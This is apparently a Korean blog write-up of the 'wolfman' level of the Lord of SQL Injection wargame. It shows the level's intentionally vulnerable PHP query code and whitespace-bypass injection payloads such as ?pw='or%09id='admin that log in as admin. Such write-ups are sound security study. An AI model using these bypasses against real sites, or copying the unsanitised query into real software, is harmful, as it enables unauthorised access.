728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob(또는 PROB), _, .,() 필터링
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); //스페이스바(공백) 필터링
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

preg_match 첫 번째 인자 끝의 i는 대소문자 모두 포함이라는 의미다. 

이 문제는 띄어쓰기를 우회해야한다.

답: ?pw='or%09id='admin

%09 대신 %0d, %0a, /**/ 모두 가능하다. 

?pw='or(id)='admin 도 가능하다.

괄호가 구분해주는 역할을 한다.

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21

+ Recent posts